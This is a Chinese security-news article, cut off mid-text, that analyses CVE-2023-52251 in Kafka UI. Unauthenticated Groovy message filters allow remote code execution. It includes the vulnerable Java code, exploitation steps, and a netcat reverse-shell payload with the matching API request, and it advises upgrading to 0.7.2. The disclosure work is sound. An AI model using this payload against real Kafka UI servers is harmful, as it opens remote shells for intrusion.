freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Kafka UI三大RCE高危漏洞分析
2024-12-10 20:51:40
所属地 浙江省

1. 背景介绍

Kafka UI 是一款开源的 Web 应用,旨在管理和监控 Apache Kafka 集群,主要供开发者和管理员使用,提供了可视化的集群管理界面。但在默认配置中,Kafka UI 不需要身份验证即可读取和写入数据,导致许多 Kafka UI 实例在内部网络中未受保护,甚至直接暴露在互联网上。

尽管有些人可能认为暴露的 Kafka 数据并不敏感,但这种配置可能会为攻击者提供一个进入内部网络的“入口”。在安全研究中,我探索了利用 Kafka UI 的可能性,结果发现了 3 个远程代码执行(RCE)漏洞

这些漏洞在 0.7.2 版本中已修复,如果你在使用 Kafka UI,请务必升级!

2. 漏洞一:CVE-2023-52251 - 通过 Groovy 脚本执行 RCE

漏洞描述

Kafka UI 允许用户在“消息过滤”功能中使用 Groovy 脚本。攻击者可以利用这一点,通过伪造的请求在服务器上执行任意的 Groovy 脚本,最终实现 远程代码执行 (RCE)

漏洞详情

MessageFilters.java代码中,GROOVY_SCRIPT过滤类型会直接执行 Groovy 脚本:

public static Predicate createMsgFilter(String query, MessageFilterTypeDTO type) {switch (type) {case STRING_CONTAINS:return containsStringFilter(query);case GROOVY_SCRIPT:return groovyScriptFilter(query); // 存在漏洞点default:throw new IllegalStateException("Unknown query type: " + type);}}

利用方法

  1. 在 Kafka UI 中,前往集群页面,选择一个主题 (Topic),点击“消息 (Messages)”选项卡。
  2. 新建一个 Groovy 过滤器,输入以下脚本:
new ProcessBuilder("nc", "host.docker.internal", "1234", "-e", "sh").start()

这段代码会在目标服务器上运行反向 Shell,从而获得控制权。请求示例如下:

GET /api/clusters/local/topics/topic/messages?q=new%20ProcessBuilder(%22nc%22,%22host.docker.internal%22,%221234%22,%22-e%22,%22sh%22).start()&filterQueryType=GROOVY_SCRIPT

修复建议

  • 升级到 0.7.2 版本,这会禁用对 Groovy 脚本的执行。
  • 不要在生产
# 漏洞 # 黑客 # web安全 # 内网渗透 # 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录